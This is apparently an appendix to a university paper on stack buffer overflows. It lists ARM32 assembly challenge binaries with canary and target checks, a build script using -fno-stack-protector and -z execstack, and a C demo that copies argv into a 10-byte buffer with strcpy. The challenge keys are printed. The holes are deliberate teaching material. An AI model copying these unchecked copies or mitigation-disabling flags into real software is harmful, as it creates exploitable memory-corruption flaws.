79  mov r6, sp          // space for overflow buffer
80
81  // Set up target: "fail"
82  ldr r7, =#0x6C696166
83  str r7, [r5]
84
85  // Set up Canary: "hacker"
86  ldr r7, =#0x6B636168
87  str r7, [r4]
88  ldr r7, =#0x7265
89  str r7, [r4, #4]
90
91  mov r0, r6
92  mov r1, buffer_size
93  bl memzero
94
95  // Copy commandline argument to buffer.
96  mov r0, r8
97  mov r1, r6
98  bl copy_str
99
100 mov r0, r4
101 mov r1, r5
102 mov r2, r6
103 bl review_stack
104
105 mov r8, 0
106 // Test target == "pass"
107 ldr r1, [r5]
108 ldr r2, =#0x73736170
109 cmp r1, r2
110 addeq r8, r8, #1
111 blne target_fail
112
113 // Test canary == "hacker"
114 ldr r1, =#0x6B636168
115 ldr r2, [r4]
116 eor r3, r1, r2
117 ldr r1, =#0x7265
118 ldr r2, [r4, #4]
119 eor r2, r1, r2
120 add r1, r2, r3
121 cmp r1, #0
122 addeq r8, r8, #1
123 blne canary_fail
124
125 cmp r8, #2
126 bleq print_key
127
128
129 exit:
130 pop {r0-r7,fp,lr}
131 mov r7, #1
132 svc #0

```

```

133
134
135 /* target_fail:
136  *   Informs user that the target was overwritten with incorrect value.
137  *   Input: None
138  *   Output: None
139  *   Side Effects:
140  *   Writes failure message to stdout.
141  */
142 target_fail:
143     push {r7,fp}
144     mov r0, #1
145     ldr r1, =_target_fail
146     ldr r2, =_target_fail_len
147     mov r7, #4
148     svc #0
149
150     pop {r7,fp}
151     bx lr
152
153
154 /* canary_fail:
155  *   Informs user that the canary was overwritten.
156  *   Input: None
157  *   Output: None
158  *   Side Effects:
159  *   Writes failure message to stdout.
160  */
161 canary_fail:
162     push {r7, fp}
163     mov r0, #1
164     ldr r1, =_canary_fail
165     ldr r2, =_canary_fail_len
166     mov r7, #4
167     svc #0
168
169     pop {r7,fp}
170     bx lr
171
172
173 /* print_key:
174  *   Shows the secret key with the target buffer is overwritten
175  *   correctly.
176  *   Input: None
177  *   Output: None
178  *   Side Effects:
179  *   Writes secret key to stdout.
180  */
181 print_key:
182     push {r4-r10, fp, lr}
183
184     ldr r0, =_success_str
185     ldr r1, =_success_str_len
186     bl write_to_stdout
187
188     ldr r0, =_key_str
189     ldr r1, =_key_str_len
190     bl write_to_stdout

```



```

190
191     pop {r4-r10, fp, lr}
192     bx lr
193
194
195     /* review_stack:
196      *   function to print out formatted local variable contents.
197      *   Input:
198      *     r0: canary
199      *     r1: target
200      *     r2: overflow buffer
201      *   Output: None
202      *   Side effects:
203      *     Prints the contents of the canary, target, and overflow buffers.
204      */
205 review_stack:
206     push {r4,r5,r6,fp,lr}
207     mov r4, r0
208     mov r5, r1
209     mov r6, r2
210
211     ldr r0, =_newline_str
212     ldr r1, =_newline_str_len
213     bl write_to_stdout
214
215     // Print out buffer //
216     ldr r0, =_buffer_str
217     ldr r1, =_buffer_str_len
218     bl write_to_stdout
219
220     mov r0, r6
221     ldr r1, =buffer_size
222     bl write_by_len
223
224     ldr r0, =_newline_str
225     ldr r1, =_newline_str_len
226     bl write_to_stdout
227
228     // Print out target //
229     ldr r0, =_target_str
230     ldr r1, =_target_str_len
231     bl write_to_stdout
232
233     mov r0, r5
234     ldr r1, =target_size
235     bl write_by_len
236
237     ldr r0, =_newline_str
238     ldr r1, =_newline_str_len
239     bl write_to_stdout
240
241     // Print out canary //
242     ldr r0, =_canary_str
243     ldr r1, =_canary_str_len
244     bl write_to_stdout
245
246     mov r0, r4
247     ldr r1, =canary_size

```

```

248     bl write_by_len
249
250     ldr r0, =_newline_str
251     ldr r1, =_newline_str_len
252     bl write_to_stdout
253
254
255
256     ldr r0, =_newline_str
257     ldr r1, =_newline_str_len
258     bl write_to_stdout
259
260     pop {r4,r5,r6,fp,lr}
261     bx lr
262
263
264 /* copy_str:
265  * Copy string from one buffer to another..
266  * Input:
267  *   r0: char* src
268  *   r1: char* dst
269  * Output: None
270  * Side Effects: N/a
271  */
272 copy_str:
273     push {lr}
274     _copy_str_while_loop:
275         ldr r2, [r0]
276         and r2, r2, #0xFF
277
278         cmp r2, #0
279         beq _end_copy_str_while_loop
280         strb r2, [r1]
281         add r0, r0, #1
282         add r1, r1, #1
283         b _copy_str_while_loop
284
285     _end_copy_str_while_loop:
286
287     pop {lr}
288     bx lr
289
290
291 /* memzero:
292  * Fill vuffer with zeros.
293  * Input:
294  *   r0: char* buffer
295  *   r1: lenth of buffer
296  * Output: None
297  * Side Effects: N/A
298  */
299 memzero:
300     push {r4, lr}
301     cmp r1, #0
302     add r1, #1
303     beq _end_memzero
304     _memzero:
305     mov r2, #0x0

```

```

306     _memzero_while_loop:
307     sub r1, #1
308     cmp r1, #0
309     beq _end_memzero_while_loop
310     strb r2, [r0]
311     add r0, #1
312     b _memzero_while_loop
313     _end_memzero_while_loop:
314     _end_memzero:
315
316     pop {r4, lr}
317     bx lr
318
319
320 /* write_by_len:
321  * print output using given length
322  * Input:
323  * r0: char* buffer
324  * r1: lenth to print out
325  * Output: None
326  * Side Effects: Prints r1 chars from r0 to stdout.
327  */
328 write_by_len:
329     push {r4-r9, fp, lr}
330
331     mov r4, #0
332     mov r5, r1
333     sub r5, r5, #1
334     mov r1, r0
335     for_loop_one_write_by_len:
336         ldr r6, [r1]
337         and r6, r6, #0xff
338         cmp r6, #0
339         bne wbl_flowbl_write
340         ldr r6, [r1]
341         add r6, r6, #0x20
342         str r6, [r1]
343
344     wbl_flowbl_write:
345     mov r0, #1
346     mov r2, #1
347     mov r7, #4
348     svc #0
349
350     cmp r4, r5
351     beq end_for_loop_one_write_by_len
352     add r4, r4, #1
353     add r1, r1, #1
354     b for_loop_one_write_by_len
355
356     end_for_loop_one_write_by_len:
357
358     pop {r4-r9, fp, lr}
359     bx lr
360
361
362 /* write_to_stdout:
363  * Wrapper for Syscall::write. Prints null-terminated string.

```

```

364 * Input:
365 *  r0: char* buffer
366 *  r1: length to print out
367 * Output: None
368 * Side Effects: Prints r1 chars from r0 to stdout.
369 */
370 write_to_stdout:
371     push {fp}
372     mov r2, r1
373     mov r1, r0
374     mov r0, #1 // fd: stdout
375     mov r7, #4 // syscall: write
376     svc #0
377     pop {fp}
378     bx lr
379
380
381 .section .data
382 .balign 4
383     _usage_str:      .asciz "./binary <string>\nThis program takes one
                        argument.\n"
384     .set _usage_str_len, .-_usage_str
385     _canary_str:     .asciz "Canary: "
386     .set _canary_str_len, .-_canary_str
387     _canary_fail:    .asciz "You overwrote the stack canary.\n"
388     .set _canary_fail_len, .-_canary_fail
389     _canary_success: .asciz "You didnt overwrite the stack canary.\n"
390     .set _canary_success_len, .-_canary_success
391     _target_str:     .asciz "Target: "
392     .set _target_str_len, .-_target_str
393     _target_fail:    .asciz "Target not set to \"pass\".\n"
394     .set _target_fail_len, .-_target_fail
395     _buffer_str:     .asciz "Buffer: "
396     .set _buffer_str_len, .-_buffer_str
397     _newline_str:    .asciz "\n"
398     .set _newline_str_len, .-_newline_str
399     _hacker_str:     .asciz "hacker"
400     .set _hacker_str_len, .-_hacker_str
401     _fail_str:       .asciz "fail"
402     .set _fail_str_len, .-_fail_str
403     _pass_str:       .asciz "pass"
404     .set _pass_str_len, .-_pass_str
405     _success_str:    .asciz "Congrats! You overwrote the target without
                        touching the canary!\n"
406     .set _success_str_len, .-_success_str
407     _key_str:        .asciz "The key is: \"halt and catch fire\".\n"
408     .set _key_str_len, .-_key_str

```

oflow_partC.s

```

1 /* Author: Chuck L. Norris
2 * Association: Johns Hopkins University
3 * Date: 24 March 2021
4 * Purpose: This provides an exploitable buffer as a vehicle for
              exposition of stack/buffer
5 * overflows.
6 * Theory of Operation:

```

```

7  * Local variables are declared on the stack. User input is copied to
   * the stack
8  * using a vulnerable strcpy-like function that does no length
   * checking. Using this
9  * vulnerable function the user can overwrite one of the local
   * variables. There is a
10 * check on the value of two local variables. The first is the target
   * which is check for
11 * a particular value: "pass" (non-zero terminated). The other is a
   * canary value that is
12 * to ensure the user does not overwrite further in the stack than
   * necessary. The canary
13 * value is between the vulnerable buffer and the target value.
   * Therefore the user must
14 * preserve the value of the canary while overwriting the target
   * with the correct value.
15 * If the canary value is unaltered and the target value is correct
   * the program will print
16 * a secret key.
17 * Input:
18 * string: Single command line argument. Input is interpreted as
   * ASCII.
19 * Output:
20 * Write strings to standard out depending on the state of the stack
   * and local
21 * variables.
22 *
23 * Local Variables: The way this binary allocates space on the stack
   * and then
24 * keeps track of those variables is not consistent with typical
   * compiled
25 * programs. In this program, a point to each variable on the stack is
26 * stored in a register. This can be done because we know exactly how
   * many
27 * local variables we have and the number of local variables is small.
28 * Typically in compiled programs an offset from the stack pointer is
   * stored.
29 * To access a local variable we would add the offset to the stack
   * pointer.
30 *
31 * An additional step taken in this binary is to zero out memory on
   * the stack. This is
32 * typically done by a compiler during program initialization.
33 *
34 * Assembly Information:
35 * System Call Information:
36 *   man 2 syscall // shows the ARM
   * ABI for syscalls
37 *   /usr/include/arm-linux-gnueabi/h/asm/unistd-common.h // header
   * for syscalls
38 * Assemble and Link:
39 * To assemble and link the .s file into a binary use the following
   * shell command
40 *   as -mcpu=cortex-a72 -g --warn <name>.s -o <name>.o; ld
   * <name>.o -o <name> // doesnt allow static linking
41 *   gcc -Wall -fpic -fno-stack-protector -z execstack <name>.s -o
   * <name>
42 *

```

```

43  * ARM Convention:
44  *  r0-r3: Arguments, additional arguments taken from stack
45  *  r4-r11: Local variables
46  *  r0: return values
47  */
48  .syntax unified
49  .arm
50  .cpu cortex-a7
51
52
53  .section .text
54  .global main
55  .equ buffer_size, 12
56  .equ target_size, 4
57  .equ canary_size, 6
58
59  main:
60      push {r0-r7,fp,lr}
61
62      // Make sure there is an argument
63      mov r2, r0
64      cmp r2, #2
65      beq _get_argument
66
67      // Print usage statement
68      ldr r0, = _usage_str
69      ldr r1, = _usage_str_len
70      bl write_to_stdout
71      b exit
72
73  _get_argument:
74      ldr r8, [r1, #4] // r8 <-- (char *) argv[1]
75
76      // ## SETUP LOCAL VARIABLES ##
77      sub sp, sp, target_size
78      mov r4, sp        // Space for target
79      sub sp, sp, canary_size
80      mov r5, sp        // Space for canary
81      sub sp, sp, buffer_size
82      mov r6, sp        // space for overflow buffer
83
84      // Set up Canary: "hacker"
85      ldr r7, =#0x6B636168
86      str r7, [r5]
87      ldr r7, =#0x7265
88      str r7, [r5, #4]
89
90      // Set up target: "fail"
91      ldr r7, =#0x6C696166
92      str r7, [r4]
93
94      mov r0, r6
95      mov r1, buffer_size
96      bl memzero
97
98      // Copy commandline argument to buffer.
99      mov r0, r8
100     mov r1, r6

```

```

101     bl copy_str
102
103     mov r0, r5
104     mov r1, r4
105     mov r2, r6
106     bl review_stack
107
108     mov r8, 0
109     // Test target == "pass"
110     ldr r1, [r4]
111     ldr r2, =#0x73736170    //ssap
112     cmp r1, r2
113     addeq r8, r8, #1
114     blne target_fail
115
116     // Test canary == "hacker"
117     ldr r1, =#0x6B636168    // kcah
118     ldr r2, [r5]
119     eor r3, r1, r2
120     ldr r1, =#0x7265        // "re"
121     ldr r2, [r5, #4]
122     mov r0, #0xFFFF
123     and r2, r2, r0
124     eor r2, r1, r2
125     add r1, r2, r3
126     cmp r1, #0
127     addeq r8, r8, #1
128     blne canary_fail
129
130     cmp r8, #2
131     bleq print_key
132
133
134     exit:
135     pop {r0-r7,fp,lr}
136     mov r7, #1
137     svc #0
138
139
140 /* target_fail:
141  *   Informs user that the target was overwritten with incorrect value.
142  *   Input: None
143  *   Output: None
144  *   Side Effects:
145  *     Writes failure message to stdout.
146  */
147 target_fail:
148     push {r7,fp}
149     mov r0, #1
150     ldr r1, =_target_fail
151     ldr r2, =_target_fail_len
152     mov r7, #4
153     svc #0
154
155     pop {r7,fp}
156     bx lr
157
158

```

```

159 /* canary_fail:
160  *   Informs user that the canary was overwritten.
161  *   Input: None
162  *   Output: None
163  *   Side Effects:
164  *   Writes failure message to stdout.
165  */
166 canary_fail:
167     push {r7, fp}
168     mov r0, #1
169     ldr r1, =_canary_fail
170     ldr r2, =_canary_fail_len
171     mov r7, #4
172     svc #0
173
174     pop {r7,fp}
175     bx lr
176
177
178 /* print_key:
179  *   Shows the secret key with the target buffer is overwritten
180  *   correctly.
181  *   Input: None
182  *   Output: None
183  *   Side Effects:
184  *   Writes secret key to stdout.
185  */
186 print_key:
187     push {r4-r10, fp, lr}
188
189     ldr r0, =_success_str
190     ldr r1, =_success_str_len
191     bl write_to_stdout
192
193     ldr r0, =_key_str
194     ldr r1, =_key_str_len
195     bl write_to_stdout
196
197     pop {r4-r10, fp, lr}
198     bx lr
199
200 /* review_stack:
201  *   function to print out formatted local variable contents.
202  *   Input:
203  *   r0: canary
204  *   r1: target
205  *   r2: overflow buffer
206  *   Output: None
207  *   Side effects:
208  *   Prints the contents of the canary, target, and overflow buffers.
209  */
210 review_stack:
211     push {r4,r5,r6,fp,lr}
212     mov r4, r0
213     mov r5, r1
214     mov r6, r2
215

```



```

216     ldr r0, =_newline_str
217     ldr r1, =_newline_str_len
218     bl write_to_stdout
219
220     // Print out buffer //
221     ldr r0, =_buffer_str
222     ldr r1, =_buffer_str_len
223     bl write_to_stdout
224
225     mov r0, r6
226     ldr r1, =buffer_size
227     bl write_by_len
228
229     ldr r0, =_newline_str
230     ldr r1, =_newline_str_len
231     bl write_to_stdout
232
233     // Print out canary //
234     ldr r0, =_canary_str
235     ldr r1, =_canary_str_len
236     bl write_to_stdout
237
238     mov r0, r4
239     ldr r1, =canary_size
240     bl write_by_len
241
242     ldr r0, =_newline_str
243     ldr r1, =_newline_str_len
244     bl write_to_stdout
245     // Print out target //
246     ldr r0, =_target_str
247     ldr r1, =_target_str_len
248     bl write_to_stdout
249
250     mov r0, r5
251     ldr r1, =target_size
252     bl write_by_len
253
254     ldr r0, =_newline_str
255     ldr r1, =_newline_str_len
256     bl write_to_stdout
257
258     ldr r0, =_newline_str
259     ldr r1, =_newline_str_len
260     bl write_to_stdout
261
262     pop {r4,r5,r6,fp,lr}
263     bx lr
264
265
266 /* copy_str:
267  * Copy string from one buffer to another..
268  * Input:
269  *   r0: char* src
270  *   r1: char* dst
271  * Output: None
272  * Side Effects: N/a
273  */

```

```

274 copy_str:
275     push {lr}
276     _a:
277     _copy_str_while_loop:
278         ldr r2, [r0]
279         and r2, r2, #0xFF
280
281         cmp r2, #0
282         beq _end_copy_str_while_loop
283         strb r2, [r1]
284         add r0, r0, #1
285         add r1, r1, #1
286         b _copy_str_while_loop
287
288     _end_copy_str_while_loop:
289
290     pop {lr}
291     bx lr
292
293
294 /* memzero:
295  * Fill vuffer with zeros.
296  * Input:
297  *   r0: char* buffer
298  *   r1: lenth of buffer
299  * Output: None
300  * Side Effects: N/A
301  */
302 memzero:
303     push {r4, lr}
304     cmp r1, #0
305     add r1, #1
306     beq _end_memzero
307     _memzero:
308     mov r2, #0x0
309     _memzero_while_loop:
310         sub r1, #1
311         cmp r1, #0
312         beq _end_memzero_while_loop
313         strb r2, [r0]
314         add r0, #1
315         b _memzero_while_loop
316     _end_memzero_while_loop:
317     _end_memzero:
318
319     pop {r4, lr}
320     bx lr
321
322
323 /* write_by_len:
324  * print output using given length
325  * Input:
326  *   r0: char* buffer
327  *   r1: lenth to print out
328  * Output: None
329  * Side Effects: Prints r1 chars from r0 to stdout.
330  */
331 write_by_len:

```

```

332     push {r4-r9, fp, lr}
333
334     mov r4, #0
335     mov r5, r1
336     sub r5, r5, #1
337     mov r1, r0
338     for_loop_one_write_by_len:
339         ldr r6, [r1]
340         and r6, r6, #0xff
341         cmp r6, #0
342         bne wbl_flowbl_write
343         ldr r6, [r1]
344         add r6, r6, #0x20
345         str r6, [r1]
346
347     wbl_flowbl_write:
348         mov r0, #1
349         mov r2, #1
350         mov r7, #4
351         svc #0
352
353         cmp r4, r5
354         beq end_for_loop_one_write_by_len
355         add r4, r4, #1
356         add r1, r1, #1
357         b for_loop_one_write_by_len
358
359     end_for_loop_one_write_by_len:
360
361     pop {r4-r9, fp, lr}
362     bx lr
363
364
365     /* write_to_stdout:
366     * Wrapper for Syscall::write. Prints null-terminated string.
367     * Input:
368     *   r0: char* buffer
369     *   r1: lenth to print out
370     * Output: None
371     * Side Effects: Prints r1 chars from r0 to stdout.
372     */
373 write_to_stdout:
374     push {fp}
375     mov r2, r1
376     mov r1, r0
377     mov r0, #1 // fd: stdout
378     mov r7, #4 // syscall: write
379     svc #0
380     pop {fp}
381     bx lr
382
383
384     .section .data
385     .balign 4
386     _usage_str:      .asciz "./<binary> <string>\nThis program takes one
                        argument.\n"
387     .set _usage_str_len, .-_usage_str
388     _canary_str:     .asciz "Canary: "

```

```

389 .set _canary_str_len, .-_canary_str
390 _canary_fail: .asciz "You overwrote the stack canary.\n"
391 .set _canary_fail_len, .-_canary_fail
392 _canary_success: .asciz "You didnt overwrite the stack canary.\n"
393 .set _canary_success_len, .-_canary_success
394 _target_str: .asciz "Target: "
395 .set _target_str_len, .-_target_str
396 _target_fail: .asciz "Target not set to \"pass\".\n"
397 .set _target_fail_len, .-_target_fail
398 _buffer_str: .asciz "Buffer: "
399 .set _buffer_str_len, .-_buffer_str
400 _newline_str: .asciz "\n"
401 .set _newline_str_len, .-_newline_str
402 _hacker_str: .asciz "hacker"
403 .set _hacker_str_len, .-_hacker_str
404 _fail_str: .asciz "fail"
405 .set _fail_str_len, .-_fail_str
406 _pass_str: .asciz "pass"
407 .set _pass_str_len, .-_pass_str
408 _success_str: .asciz "Congrats! You overwrote the target while
    perserving the canary!\n"
409 .set _success_str_len, .-_success_str
410 _key_str: .asciz "The key is: \"hack the planet\".\n"
411 .set _key_str_len, .-_key_str

```

build.sh

The following is a bash script which can be used to assemble the binaries for Problem One. It is a simple script that can be ran from the terminal with the part letter of which you want to build.

```

1  #!/bin/sh
2
3  case $1 in
4      "A" | "a")
5          gcc -Wall -fpic -fno-stack-protector -z execstack oflow_partA.s -o
            oflow_partA
6          ;;
7      "B" | "b")
8          gcc -Wall -fpic -fno-stack-protector -z execstack oflow_partB.s -o
            oflow_partB
9          ;;
10     "C" | "c")
11         gcc -Wall -fpic -fno-stack-protector -z execstack oflow_partC.s -o
            oflow_partC
12 esac
13
14 if [ $? -eq 0 ]
15 then
16     echo "Built."
17 else
18     echo "Failed."
19 fi

```

```

user@host$ ./build.sh A
Built.

```

```
user@host$ ./build.sh B
Built.
user@host$ ./build.sh C
Built.
```

Problem 2

The following problem was comprised of a C file and an ARM32 assembly file. Information on linking and building is available on Github.

demo.c

```
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 #include <sys/ucontext.h>
5 #include <ucontext.h>
6 #include <signal.h>
7 #include <unistd.h>
8 #include <stdbool.h>
9
10 void fault_handler(int signo, siginfo_t *info, void *extra){
11     printf("-----ERROR-----\n");
12     printf("Goodbye cruel world! I was a young program. And I have
13         died too soon!\n");
14     printf("You can avenge my death! I received Signal Number %d\n",
15         signo);
16     printf("Looks like I was near address %p at my untimely
17         demise.\n", info->si_addr);
18     abort();
19 }
20
21 void set_up_handlers(){
22     struct sigaction act;
23     act.sa_flags = SA_SIGINFO;
24     act.sa_sigaction = fault_handler;
25     if (sigaction(SIGFPE, &act, NULL) == -1) {
26         perror("sigfpe: sigaction");
27         exit(1);
28     }
29     if (sigaction(SIGSEGV, &act, NULL) == -1) {
30         perror("sigsegv: sigaction");
31         exit(1);
32     }
33     if (sigaction(SIGILL, &act, NULL) == -1) {
34         perror("sigill: sigaction");
35         exit(1);
36     }
37     if (sigaction(SIGBUS, &act, NULL) == -1) {
38         perror("sigbus: sigaction");
39         exit(1);
40     }
41 }
42
43 int main(int argc, char* argv[]){
```

```

42     set_up_handlers();
43     printf("Hello to the string consumer 3000!\n");
44     char buf[10];
45     if (argc > 1){
46         printf("You provided me a string! Yum!\n");
47         strcpy(buf,argv[1]);
48     } else{
49         printf("Provide your name as the first argument\n");
50         printf("./demo jimbob\n");
51     }
52 }

```

bet_you_cant.S

```

1     .section .win_sec, "ax"
2 _bet_you_cant_get_here:
3     adr r0, winstr
4     bl puts
5     movs r0, #0
6     b exit
7 winstr:
8     .ascii "  _---\n /      \\n| () () |\n \\\n "
9           "~ /\n  ||||\n  ||||\n\nOh no! The"
10          "re's haxx0rs in the mainframe!\n"

```

References

- [One96] Aleph One. "Smashing the Stack for Fun and Profit". In: *Phrack Magazine*:. 49.14 (1996).
- [Eri08] Jon Erickson. *Hacking: The Art of Exploitation, 2nd Edition*. No Starch Press, 2008. ISBN: 1593271441.
- [Lim18] ARM Limited. *ARM Architecture Reference Manual ARMv7-A and ARMv7-R edition*. ARM Limited, 2018. ISBN: 1559373547.
- [0xr] 0xricksanchez. *Exploit Mitigation Techniques - Stack Canaries*. URL: <https://0x00sec.org/t/exploit-mitigation-techniques-stack-canaries/5085>. (accessed: 04.10.2021).
- [Mar] Maria Markstedter. *ARM Assembly Basics*. URL: <https://azeria-labs.com/writing-arm-assembly-part-1/>. (accessed: 04.10.2021).